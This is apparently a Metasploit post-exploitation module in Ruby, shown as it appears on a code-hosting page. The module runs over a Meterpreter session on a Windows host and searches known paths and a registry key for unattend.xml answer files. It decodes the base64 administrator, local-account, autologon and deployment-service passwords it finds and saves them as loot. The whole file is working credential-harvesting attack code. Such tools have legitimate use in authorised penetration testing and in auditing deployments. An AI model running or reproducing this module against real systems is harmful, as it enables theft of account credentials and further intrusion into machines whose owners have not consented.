21f6127e29
Change all Platform 'windows' to 'win', as it internally is an alias anyway and only causes unnecessary confusion to have two platform names that mean the same.
334 lines
8.4 KiB
Ruby
334 lines
8.4 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/post/file'
|
|
require 'rexml/document'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::File
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'Windows Gather Unattended Answer File Enumeration',
|
|
'Description' => %q{
|
|
This module will check the file system for a copy of unattend.xml and/or
|
|
autounattend.xml found in Windows Vista, or newer Windows systems. And then
|
|
extract sensitive information such as usernames and decoded passwords.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Sean Verity <veritysr1980[at]gmail.com>',
|
|
'sinn3r',
|
|
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'
|
|
],
|
|
'References' =>
|
|
[
|
|
['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
|
|
['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx']
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true])
|
|
], self.class)
|
|
end
|
|
|
|
|
|
#
|
|
# Determie if unattend.xml exists or not
|
|
#
|
|
def unattend_exists?(xml_path)
|
|
x = session.fs.file.stat(xml_path) rescue nil
|
|
return !x.nil?
|
|
end
|
|
|
|
|
|
#
|
|
# Read and parse the XML file
|
|
#
|
|
def load_unattend(xml_path)
|
|
print_status("Reading #{xml_path}")
|
|
f = session.fs.file.new(xml_path)
|
|
raw = ""
|
|
until f.eof?
|
|
raw << f.read
|
|
end
|
|
|
|
begin
|
|
xml = REXML::Document.new(raw)
|
|
rescue REXML::ParseException => e
|
|
print_error("Invalid XML format")
|
|
vprint_line(e.message)
|
|
return nil, raw
|
|
end
|
|
|
|
return xml, raw
|
|
end
|
|
|
|
|
|
#
|
|
# Extract sensitive data from UserAccounts
|
|
#
|
|
def extract_useraccounts(user_accounts)
|
|
return[] if user_accounts.nil?
|
|
|
|
cred_tables = []
|
|
account_types = ['AdministratorPassword', 'DomainAccounts', 'LocalAccounts']
|
|
account_types.each do |t|
|
|
element = user_accounts.elements[t]
|
|
next if element.nil?
|
|
|
|
case t
|
|
#
|
|
# Extract the password from AdministratorPasswords
|
|
#
|
|
when account_types[0]
|
|
table = Rex::Ui::Text::Table.new({
|
|
'Header' => 'AdministratorPasswords',
|
|
'Indent' => 1,
|
|
'Columns' => ['Username', 'Password']
|
|
})
|
|
|
|
password = element.elements['Value'].get_text.value rescue ''
|
|
plaintext = element.elements['PlainText'].get_text.value rescue 'true'
|
|
|
|
if plaintext == 'false'
|
|
password = Rex::Text.decode_base64(password)
|
|
password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '')
|
|
end
|
|
|
|
if not password.empty?
|
|
table << ['Administrator', password]
|
|
cred_tables << table
|
|
end
|
|
|
|
#
|
|
# Extract the sensitive data from DomainAccounts.
|
|
# According to MSDN, unattend.xml doesn't seem to store passwords for domain accounts
|
|
#
|
|
when account_types[1] #DomainAccounts
|
|
table = Rex::Ui::Text::Table.new({
|
|
'Header' => 'DomainAccounts',
|
|
'Indent' => 1,
|
|
'Columns' => ['Username', 'Group']
|
|
})
|
|
|
|
element.elements.each do |account_list|
|
|
name = account_list.elements['DomainAccount/Name'].get_text.value rescue ''
|
|
group = account_list.elements['DomainAccount/Group'].get_text.value rescue 'true'
|
|
|
|
table << [name, group]
|
|
end
|
|
|
|
cred_tables << table if not table.rows.empty?
|
|
|
|
#
|
|
# Extract the username/password from LocalAccounts
|
|
#
|
|
when account_types[2] #LocalAccounts
|
|
table = Rex::Ui::Text::Table.new({
|
|
'Header' => 'LocalAccounts',
|
|
'Indent' => 1,
|
|
'Columns' => ['Username', 'Password']
|
|
})
|
|
|
|
element.elements.each do |local|
|
|
password = local.elements['Password/Value'].get_text.value rescue ''
|
|
plaintext = local.elements['Password/PlainText'].get_text.value rescue 'true'
|
|
|
|
if plaintext == 'false'
|
|
password = Rex::Text.decode_base64(password)
|
|
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
|
end
|
|
|
|
username = local.elements['Name'].get_text.value rescue ''
|
|
table << [username, password]
|
|
end
|
|
|
|
cred_tables << table if not table.rows.empty?
|
|
end
|
|
end
|
|
|
|
return cred_tables
|
|
end
|
|
|
|
|
|
#
|
|
# Extract sensitive data from AutoLogon
|
|
#
|
|
def extract_autologon(auto_logon)
|
|
return [] if auto_logon.nil?
|
|
|
|
domain = auto_logon.elements['Domain'].get_text.value rescue ''
|
|
username = auto_logon.elements['Username'].get_text.value rescue ''
|
|
password = auto_logon.elements['Password/Value'].get_text.value rescue ''
|
|
plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true'
|
|
|
|
if plaintext == 'false'
|
|
password = Rex::Text.decode_base64(password)
|
|
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
|
end
|
|
|
|
table = Rex::Ui::Text::Table.new({
|
|
'Header' => 'AutoLogon',
|
|
'Indent' => 1,
|
|
'Columns' => ['Domain', 'Username', 'Password']
|
|
})
|
|
|
|
table << [domain, username, password]
|
|
|
|
return [table]
|
|
end
|
|
|
|
|
|
#
|
|
# Extract sensitive data from Deployment Services.
|
|
# We can only seem to add one <Login> with Windows System Image Manager, so
|
|
# we'll only enum one.
|
|
#
|
|
def extract_deployment(deployment)
|
|
return [] if deployment.nil?
|
|
|
|
domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue ''
|
|
username = deployment.elements['Login/Credentials/Username'].get_text.value rescue ''
|
|
password = deployment.elements['Login/Credentials/Password'].get_text.value rescue ''
|
|
plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true'
|
|
|
|
if plaintext == 'false'
|
|
password = Rex::Text.decode_base64(password)
|
|
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
|
end
|
|
|
|
table = Rex::Ui::Text::Table.new({
|
|
'Header' => 'WindowsDeploymentServices',
|
|
'Indent' => 1,
|
|
'Columns' => ['Domain', 'Username', 'Password']
|
|
})
|
|
|
|
table << [domain, username, password]
|
|
|
|
return [table]
|
|
end
|
|
|
|
|
|
#
|
|
# Save Rex tables separately
|
|
#
|
|
def save_cred_tables(cred_tables)
|
|
cred_tables.each do |t|
|
|
vprint_line("\n#{t.to_s}\n")
|
|
p = store_loot('windows.unattended.creds', 'text/csv', session, t.to_csv, t.header, t.header)
|
|
print_status("#{t.header} saved as: #{p}")
|
|
end
|
|
end
|
|
|
|
|
|
#
|
|
# Save the raw version of unattend.xml
|
|
#
|
|
def save_raw(xmlpath, data)
|
|
return if data.empty?
|
|
fname = ::File.basename(xmlpath)
|
|
p = store_loot('windows.unattended.raw', 'text/plain', session, data)
|
|
print_status("Raw version of #{fname} saved as: #{p}")
|
|
end
|
|
|
|
|
|
#
|
|
# If we spot a path for the answer file, we should check it out too
|
|
#
|
|
def get_registry_unattend_path
|
|
# HKLM\System\Setup!UnattendFile
|
|
begin
|
|
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM')
|
|
fname = key.query_value('Setup!UnattendFile').data
|
|
return fname
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
return ''
|
|
end
|
|
end
|
|
|
|
|
|
#
|
|
# Initialize all 7 possible paths for the answer file
|
|
#
|
|
def init_paths
|
|
drive = session.fs.file.expand_path("%SystemDrive%")
|
|
|
|
files =
|
|
[
|
|
'unattend.xml',
|
|
'autounattend.xml'
|
|
]
|
|
|
|
target_paths =
|
|
[
|
|
"#{drive}\\",
|
|
"#{drive}\\Windows\\System32\\sysprep\\",
|
|
"#{drive}\\Windows\\panther\\",
|
|
"#{drive}\\Windows\\Panther\Unattend\\",
|
|
"#{drive}\\Windows\\System32\\"
|
|
]
|
|
|
|
paths = []
|
|
target_paths.each do |p|
|
|
files.each do |f|
|
|
paths << "#{p}#{f}"
|
|
end
|
|
end
|
|
|
|
# If there is one for registry, we add it to the list too
|
|
reg_path = get_registry_unattend_path
|
|
paths << reg_path if not reg_path.empty?
|
|
|
|
return paths
|
|
end
|
|
|
|
|
|
def run
|
|
init_paths.each do |xml_path|
|
|
# If unattend.xml doesn't exist, move on to the next one
|
|
if not unattend_exists?(xml_path)
|
|
vprint_error("#{xml_path} not found")
|
|
next
|
|
end
|
|
|
|
xml, raw = load_unattend(xml_path)
|
|
save_raw(xml_path, raw)
|
|
|
|
# XML failed to parse, will not go on from here
|
|
return if not xml
|
|
|
|
# Extract the credentials
|
|
tables = []
|
|
unattend = xml.elements['unattend']
|
|
return if unattend.nil?
|
|
|
|
unattend.each_element do |settings|
|
|
next if settings.class != REXML::Element
|
|
settings.get_elements('component').each do |c|
|
|
next if c.class != REXML::Element
|
|
tables << extract_useraccounts(c.elements['UserAccounts'])
|
|
tables << extract_autologon(c.elements['AutoLogon'])
|
|
tables << extract_deployment(c.elements['WindowsDeploymentServices'])
|
|
end
|
|
end
|
|
|
|
# Save the data
|
|
save_cred_tables(tables.flatten) if not tables.empty?
|
|
|
|
return if not datastore['GETALL']
|
|
end
|
|
end
|
|
end
|